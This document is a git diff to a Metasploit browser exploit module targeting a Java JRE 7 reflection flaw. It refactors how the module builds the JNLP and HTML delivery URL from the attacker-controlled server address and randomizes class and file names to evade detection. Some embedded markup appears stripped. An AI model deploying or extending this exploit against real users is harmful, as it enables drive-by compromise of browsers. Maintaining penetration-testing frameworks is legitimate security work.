diff --git a/modules/exploits/multi/browser/java_jre17_reflection_types.rb b/modules/exploits/multi/browser/java_jre17_reflection_types.rb index f427c4851d..124242eeda 100644 --- a/modules/exploits/multi/browser/java_jre17_reflection_types.rb +++ b/modules/exploits/multi/browser/java_jre17_reflection_types.rb @@ -93,17 +93,19 @@ class Metasploit3 < Msf::Exploit::Remote @exploit_class_name = rand_text_alpha("Exploit".length) @exploit_class.gsub!("Exploit", @exploit_class_name) - @jnlp_uri = ((datastore['SSL']) ? "https://" : "http://") - @jnlp_uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']) - @jnlp_uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(8)}.jnlp" + @jnlp_name = rand_text_alpha(8) super end def jnlp_file - %Q| + jnlp_uri = ((datastore['SSL']) ? "https://" : "http://") + jnlp_uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']) + jnlp_uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{@jnlp_name}.jnlp" + + jnlp = %Q| - + Applet Test JNLP #{rand_text_alpha(8)} @@ -121,6 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote | + return jnlp end def on_request_uri(cli, request) @@ -161,11 +164,15 @@ class Metasploit3 < Msf::Exploit::Remote end def generate_html + jnlp_uri = ((datastore['SSL']) ? "https://" : "http://") + jnlp_uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']) + jnlp_uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{@jnlp_name}.jnlp" + html = %Q| - +